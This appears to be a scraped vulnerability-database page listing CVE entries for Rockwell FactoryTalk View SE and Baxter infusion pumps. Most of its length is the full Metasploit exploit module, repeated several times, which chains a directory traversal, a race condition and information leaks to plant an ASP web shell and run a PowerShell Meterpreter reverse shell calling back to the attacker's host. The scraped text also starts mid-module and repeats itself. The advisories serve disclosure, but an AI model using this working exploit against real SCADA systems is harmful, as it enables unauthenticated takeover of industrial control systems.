elsif request.uri.include?(@proj_name)
# Directory traversal: vulnerable asp file will land in the path we provide
print_good("#{peer} - Target connected, sending file path with dir traversal")
# Check the comments in the Infoleak 2 (project installation path) to understand why
filename = "../SE/HMI Projects/#{@shelly}"
send_response(cli, filename)
end
end
def exploit
# Infoleak 1 (project listing)
print_status("#{peer} - Listing projects on the server")
res = send_to_factory('/hmi_isapi.dll?GetHMIProjects')
fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless
res && res.code == 200 && res.body.include?('HMIProject')
print_status("#{peer} - Received list of projects from the server")
@proj_name = nil
proj_path = ''
xml = res.get_xml_document
# Parse XML project list and check each project for installation project path
xml.search('HMIProject').each do |project|
# Infoleak 2 (project installation path)
# In the original exploit, we used this to calculate the directory traversal path, but
# Google says the path is the same for all versions since at least 2007.
# Let's still abuse it to check if the project is valid.
url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}"
res = send_to_factory(url)
proj_path = res.body.strip
# Check if response contains :\ that indicates a windows path
next unless proj_path.include?(':\\')
print_status("#{peer} - Found project path: #{proj_path}")
# We only need first hit so we can quit the project parsing once we get it
if project.attributes['Name']
@proj_name = project.attributes['Name']
break
end
end
if !@proj_name
fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...')
end
shell_path = proj_path.sub(@proj_name, '').strip
print_good("#{peer} - Got a path to drop our shell: #{shell_path}")
# Start http server for project copy callback
http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
print_status("#{peer} - Starting up our web service on #{http_service} ...")
start_service({ 'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
# This path has to be capitalized as "RSViewSE" or else the exploit will fail!
'Path' => '/RSViewSE/'
} })
# Race Condition
# This is the racer thread. It will continuously access our asp file until it gets executed
print_status("#{peer} - Starting racer thread, let's win this race condition!")
@shelly = "#{rand_text_alpha(5..10)}.asp"
racer = Thread.new do
loop do
res = send_to_factory("/#{@shelly}")
if res.code == 200
print_good("#{peer} - We've won the race condition, shell incoming!")
break
end
end
end
# Project Copy Request: target will connect to us to obtain project information.
print_status("#{peer} - Initiating project copy request...")
url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1"
res = send_to_factory(url)
# wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish
count = 0
while count < datastore['SLEEP_RACER']
break if racer.status == false
sleep(1)
count += 1
end
racer.exit
end
end
VAR-202007-0195 | CVE-2020-12029 | FactoryTalk View SE Vulnerability regarding input verification in |
CVSS V2: 6.8 CVSS V3: 7.8 Severity: HIGH |
All versions of FactoryTalk View SE do not properly validate input of filenames within a project directory. A remote, unauthenticated attacker may be able to execute a crafted file on a remote endpoint that may result in remote code execution (RCE). Rockwell Automation recommends applying patch 1126289. Before installing this patch, the patch rollup dated 06 Apr 2020 or later MUST be applied. 1066644 – Patch Roll-up for CPR9 SRx. FactoryTalk View SE There is an input verification vulnerability in.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Rockwell Automation FactoryTalk View SE. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of project files. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution
on the Rockwell FactoryTalk View SE SCADA product as the IIS user.
The attack relies on the chaining of five separate vulnerabilities. In order to achieve full remote code execution on all
targets, two information leak vulnerabilities are also abused.
This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'],
[ 'CVE', '2020-12027'],
[ 'CVE', '2020-12028'],
[ 'CVE', '2020-12029'],
[ 'ZDI', '20-727'],
[ 'ZDI', '20-728'],
[ 'ZDI', '20-729'],
[ 'ZDI', '20-730'],
],
'Privileged' => false,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' => {
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
},
'DefaultOptions' => { 'WfsDelay' => 20 },
'Targets' =>
[
[ 'Rockwell Automation FactoryTalk SE', {} ]
],
'DisclosureDate' => '2020-06-22',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),
OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]),
OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])
]
)
register_advanced_options(
[
OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]),
]
)
end
def send_to_factory(path)
send_request_cgi({
'uri' => normalize_uri(target_uri, path),
'method' => 'GET'
})
end
def check
res = send_to_factory('/hmi_isapi.dll')
return Exploit::CheckCode::Safe unless res && res.code == 200
# Parse version from response body
# Example: Version 11.00.00.230
version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.')
# Is returned version sound?
unless version.empty?
if version.length != 4
return Exploit::CheckCode::Detected
end
print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}")
if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230
# we know this exact version is vulnerable (11.00.00.230)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Unknown
end
def on_request_uri(cli, request)
if request.uri.include?(@shelly)
print_good("#{peer} - Target connected, sending payload")
psh = cmd_psh_payload(
payload.encoded,
payload.arch.first
# without comspec it seems to fail, so keep it this way
# remove_comspec: true
)
# add double quotes for classic ASP escaping
psh.gsub!('"', '""')
# NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell
# This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore...
# If this module is not working on an older Windows version, try the below as payload:
# payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe)
payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>}
send_response(cli, payload)
# payload file is deleted automatically by the server once we win the race!
elsif request.uri.include?(@proj_name)
# Directory traversal: vulnerable asp file will land in the path we provide
print_good("#{peer} - Target connected, sending file path with dir traversal")
# Check the comments in the Infoleak 2 (project installation path) to understand why
filename = "../SE/HMI Projects/#{@shelly}"
send_response(cli, filename)
end
end
def exploit
# Infoleak 1 (project listing)
print_status("#{peer} - Listing projects on the server")
res = send_to_factory('/hmi_isapi.dll?GetHMIProjects')
fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless
res && res.code == 200 && res.body.include?('HMIProject')
print_status("#{peer} - Received list of projects from the server")
@proj_name = nil
proj_path = ''
xml = res.get_xml_document
# Parse XML project list and check each project for installation project path
xml.search('HMIProject').each do |project|
# Infoleak 2 (project installation path)
# In the original exploit, we used this to calculate the directory traversal path, but
# Google says the path is the same for all versions since at least 2007.
# Let's still abuse it to check if the project is valid.
url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}"
res = send_to_factory(url)
proj_path = res.body.strip
# Check if response contains :\ that indicates a windows path
next unless proj_path.include?(':\\')
print_status("#{peer} - Found project path: #{proj_path}")
# We only need first hit so we can quit the project parsing once we get it
if project.attributes['Name']
@proj_name = project.attributes['Name']
break
end
end
if !@proj_name
fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...')
end
shell_path = proj_path.sub(@proj_name, '').strip
print_good("#{peer} - Got a path to drop our shell: #{shell_path}")
# Start http server for project copy callback
http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
print_status("#{peer} - Starting up our web service on #{http_service} ...")
start_service({ 'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
# This path has to be capitalized as "RSViewSE" or else the exploit will fail!
'Path' => '/RSViewSE/'
} })
# Race Condition
# This is the racer thread. It will continuously access our asp file until it gets executed
print_status("#{peer} - Starting racer thread, let's win this race condition!")
@shelly = "#{rand_text_alpha(5..10)}.asp"
racer = Thread.new do
loop do
res = send_to_factory("/#{@shelly}")
if res.code == 200
print_good("#{peer} - We've won the race condition, shell incoming!")
break
end
end
end
# Project Copy Request: target will connect to us to obtain project information.
print_status("#{peer} - Initiating project copy request...")
url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1"
res = send_to_factory(url)
# wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish
count = 0
while count < datastore['SLEEP_RACER']
break if racer.status == false
sleep(1)
count += 1
end
racer.exit
end
end
VAR-202007-0194 | CVE-2020-12028 | FactoryTalk View SE Vulnerability regarding improper permission retention in |
CVSS V2: 5.5 CVSS V3: 8.1 Severity: HIGH |
In all versions of FactoryTalk View SEA remote, an authenticated attacker may be able to utilize certain handlers to interact with the data on the remote endpoint since those handlers do not enforce appropriate permissions. Rockwell Automation recommends enabling built in security features found within FactoryTalk View SE. Users should follow guidance found in knowledge base articles 109056 and 1126943 to set up IPSec and/or HTTPs. FactoryTalk View SE There is a vulnerability in improper retention of permissions.Information may be obtained and tampered with. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of project backups. The issue results from lack of authorization prior to initiating a backup. An attacker can leverage this in conjunction with other vulnerability to execute code in the context of SYSTEM. Remote attackers can use this vulnerability to perform data interactions on remote endpoints. ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution
on the Rockwell FactoryTalk View SE SCADA product as the IIS user.
The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request,
the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all
targets, two information leak vulnerabilities are also abused.
This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'],
[ 'CVE', '2020-12027'],
[ 'CVE', '2020-12028'],
[ 'CVE', '2020-12029'],
[ 'ZDI', '20-727'],
[ 'ZDI', '20-728'],
[ 'ZDI', '20-729'],
[ 'ZDI', '20-730'],
],
'Privileged' => false,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' => {
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
},
'DefaultOptions' => { 'WfsDelay' => 20 },
'Targets' =>
[
[ 'Rockwell Automation FactoryTalk SE', {} ]
],
'DisclosureDate' => '2020-06-22',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),
OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]),
OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])
]
)
register_advanced_options(
[
OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]),
]
)
end
def send_to_factory(path)
send_request_cgi({
'uri' => normalize_uri(target_uri, path),
'method' => 'GET'
})
end
def check
res = send_to_factory('/hmi_isapi.dll')
return Exploit::CheckCode::Safe unless res && res.code == 200
# Parse version from response body
# Example: Version 11.00.00.230
version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.')
# Is returned version sound?
unless version.empty?
if version.length != 4
return Exploit::CheckCode::Detected
end
print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}")
if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230
# we know this exact version is vulnerable (11.00.00.230)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Unknown
end
def on_request_uri(cli, request)
if request.uri.include?(@shelly)
print_good("#{peer} - Target connected, sending payload")
psh = cmd_psh_payload(
payload.encoded,
payload.arch.first
# without comspec it seems to fail, so keep it this way
# remove_comspec: true
)
# add double quotes for classic ASP escaping
psh.gsub!('"', '""')
# NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell
# This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore...
# If this module is not working on an older Windows version, try the below as payload:
# payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe)
payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>}
send_response(cli, payload)
# payload file is deleted automatically by the server once we win the race!
elsif request.uri.include?(@proj_name)
# Directory traversal: vulnerable asp file will land in the path we provide
print_good("#{peer} - Target connected, sending file path with dir traversal")
# Check the comments in the Infoleak 2 (project installation path) to understand why
filename = "../SE/HMI Projects/#{@shelly}"
send_response(cli, filename)
end
end
def exploit
# Infoleak 1 (project listing)
print_status("#{peer} - Listing projects on the server")
res = send_to_factory('/hmi_isapi.dll?GetHMIProjects')
fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless
res && res.code == 200 && res.body.include?('HMIProject')
print_status("#{peer} - Received list of projects from the server")
@proj_name = nil
proj_path = ''
xml = res.get_xml_document
# Parse XML project list and check each project for installation project path
xml.search('HMIProject').each do |project|
# Infoleak 2 (project installation path)
# In the original exploit, we used this to calculate the directory traversal path, but
# Google says the path is the same for all versions since at least 2007.
# Let's still abuse it to check if the project is valid.
url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}"
res = send_to_factory(url)
proj_path = res.body.strip
# Check if response contains :\ that indicates a windows path
next unless proj_path.include?(':\\')
print_status("#{peer} - Found project path: #{proj_path}")
# We only need first hit so we can quit the project parsing once we get it
if project.attributes['Name']
@proj_name = project.attributes['Name']
break
end
end
if !@proj_name
fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...')
end
shell_path = proj_path.sub(@proj_name, '').strip
print_good("#{peer} - Got a path to drop our shell: #{shell_path}")
# Start http server for project copy callback
http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
print_status("#{peer} - Starting up our web service on #{http_service} ...")
start_service({ 'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
# This path has to be capitalized as "RSViewSE" or else the exploit will fail!
'Path' => '/RSViewSE/'
} })
# Race Condition
# This is the racer thread. It will continuously access our asp file until it gets executed
print_status("#{peer} - Starting racer thread, let's win this race condition!")
@shelly = "#{rand_text_alpha(5..10)}.asp"
racer = Thread.new do
loop do
res = send_to_factory("/#{@shelly}")
if res.code == 200
print_good("#{peer} - We've won the race condition, shell incoming!")
break
end
end
end
# Project Copy Request: target will connect to us to obtain project information.
print_status("#{peer} - Initiating project copy request...")
url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1"
res = send_to_factory(url)
# wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish
count = 0
while count < datastore['SLEEP_RACER']
break if racer.status == false
sleep(1)
count += 1
end
racer.exit
end
end
VAR-202006-0326 | CVE-2020-12039 | Baxter Sigma Spectrum Infusion Pumps Sigma Spectrum Infusion System and Baxter Spectrum Infusion System Vulnerability in using hard-coded credentials in |
CVSS V2: 2.1 CVSS V3: 2.4 Severity: LOW |
Baxter Sigma Spectrum Infusion Pumps Sigma Spectrum Infusion System v's6.x model 35700BAX & Baxter Spectrum Infusion System v's8.x model 35700BAX2 contain hardcoded passwords when physically entered on the keypad provide access to biomedical menus including device settings, view calibration values, network configuration of Sigma Spectrum WBM if installed. The vulnerability is caused by the program containing a hard-coded password